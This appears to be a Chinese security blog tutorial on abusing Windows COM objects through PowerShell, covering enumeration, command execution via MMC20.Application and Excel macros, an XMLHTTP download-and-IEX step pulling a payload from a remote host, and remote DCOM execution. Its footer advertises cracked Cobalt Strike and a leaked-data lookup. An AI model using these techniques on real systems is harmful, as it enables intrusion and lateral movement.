OM component
(COM
组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。
在 COM
构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。
由此带来的好处是多方面的:可以将系统中的组件用新的替换掉,以便随时进行系统的升级和定制;可以在多个应用系统中重复利用同一个组件;可以方便的将应用系统扩展到网络环境下;COM
与语言、平台无关的特性使所有的程序员均可充分发挥自己的才智与专长编写组件模块
找了篇文章编写了一个 COM接口
参考链接:
https://www.cnblogs.com/xiaokang088/archive/2011/05/16/2047376.html
COM接口
里有个 calc
函数
生成 DLL
用 regsvr32
注册完后,可以在 HKEY_CLASSES_ROOTCLSID
下可以见到注册好的 dll
使用 powershell
可以查询对应 COM
的可用函数
$obj =[activator]::CreateInstance([type]::GetTypeFromCLSID("20CE411F-4415-4017-B797-66AE3B8C9A4D"))
#枚举对于appid可用的函数
$obj | get-member
调用对应 COM接口
的函数
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("20CE411F-4415-4017-B797-66AE3B8C9A4D"))
$handle.calc()
注册表路径说明
HKEY_CLASSES_ROOTCLSID
所有 COM接口
对应的 CLSID
都在这个项或子项下
CLSID
项下常见的子项
inprocHandler32
lnprocServer32
TypeLib
version
progID
inprocHandler32
写着这个 COM接口
处理的 dll
InprocServer32
写着接口的信息/版本
枚举机器上所有的CLSID
指定类名为 WIN32_DCOMApplication
Get-CimInstance -ClassName WIN32_DCOMApplication
Get-CimInstance
(简写:Get-cim
)作用:从 CIM服务器
获取类的 CIM实例
CIM
:公共信息模型(CIM
)是用于描述受管理资源(如存储,网络或软件组件)的结构和行为的 DMTF标准
[DSP0004]
查询指定 CLSID
可用函数
$obj =[activator]::CreateInstance([type]::GetTypeFromCLSID("C5EDFC9D-B018-41A4-9877-39AB18469C3A"))
$obj | get-member
快速提起所有 CLSID
和对应的 CLSID
里的函数
Get-CimInstance -ClassName WIN32_DCOMApplication | Select-Object appid | out-file clsids.txt
$Position = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
Write-Output "$($Position) - $($CLSID)"
Write-Output "------------------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Get-Member | Out-File $Filename -Append
$Position += 1
}
(Method
为方法,Property
为参数设置之类的)
枚举某个 Application
$obj =[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$obj | Get-Member
属性继续枚举
$obj =[activator]::CreateInstance([type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889"))
$obj.Document | Get-Member
寻找可利用的COM接口
对应的 CLSID
是 MMC.exe
(那么是否代表着系统自带的程序可以执行命令的话,可以找找一个 COM接口
的函数),如果是不开源的话只能用 IDA
或 Oleview.exe
反编译了
COM接口
里枚举出来的函数(如果是微软公开的话)可以到:https://docs.microsoft.com/en-us/search/?dataSource=previousVersions&terms=
搜索,例如:ExecuteShellCommand
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand
调用函数(注意:如果注册表查询 CLSID子项
带有 ProgID
的话需要指定 ProgID
调用方法或属性)
$handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"))
$handle.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
思考:能不能通过微软文档搜索比如什么:Exec
,command
,file.urldownload
这些函数,如果找的到在 CLSID
项里搜索对应的 exe/dll
,然后调用呢。
或在 HKEY_CLASSES_ROOTCLSID
下寻找有 ProgID
的子项 CLSID
,寻找可利用项。为什么要找带有 ProgID
子项的 CLSID
?因为这些一般都是系统自带的
利用COM接口
可以根据对应 COM接口
枚举出的函数名进行分析,或者猜解。例如:
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("00020906-0000-0000-C000-000000000046"))
$handle.ExecuteExcel4Macro("EXEC(""calc.exe"")")
比如,{F5078F35-C551-11D3-89B9-0000F81FE221}
这个 COM对象
(Msxml2.XMLHTTP.3.0
)对外提供了一个 XML HTTP 3.0
功能,可以用来下载任意代码并执行,无需将 payload
写入磁盘,也不会触发基于 System.Net.WebClient
的常用检测规则。
XML HTTP 3.0
对象通常用来发起 AJAX
请求。在这种情况下,获取数据的方式非常简单,直接使用 Invoke-Expression cmdlet(IEX)
即可
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));
$o.Open("GET", "http://192.168.1.106/payload.txt", $False);
$o.Send();
IEX $o.responseText;
对应的 open
函数反汇编
文章里有用 Oleview.exe
进行对 dll
的反编译,也有用 IDA
对指定 DLL
的函数进行分析。需要一定的基础进行分析
COM
的利用方式:
寻找COM接口对应注册表的lnprocServer32缺少的dll/exe替换进行提权
利用COM接口远程调用
COM
远程利用:
$handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.113.130"))
$handle.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
参考链接:
https://www.cnblogs.com/xiaokang088/archive/2011/05/16/2047376.html
https://www.anquanke.com/post/id/217928
https://www.anquanke.com/post/id/179927
关注公众号后台回复 0001
领取域渗透思维导图,0002
领取VMware 17永久激活码,0003
获取SGK地址,0004
获取在线ChatGPT地址,0005
获取 Windows10渗透集成环境,0006
获取 CobaltStrike 4.9破解版
加我微信好友,邀请你进交流群
往期推荐
对某金融App的加解密hook+rpc+绕过SSLPinning抓包
疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击
Fofa新产品 - 绕CDN溯源真实IP!
团队在线Windows进程识别正式内测
突发!微信疑似存在RCE
域渗透之NTLM Relay
Java审计之CMS中的那些反序列化漏洞
Kerberos Bronze Bit Attack 绕过约束/资源委派限制
日常记录对某站点的实战渗透
备用号,欢迎关注
原文始发于微信公众号(刨洞安全团队):COM接口学习与利用
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论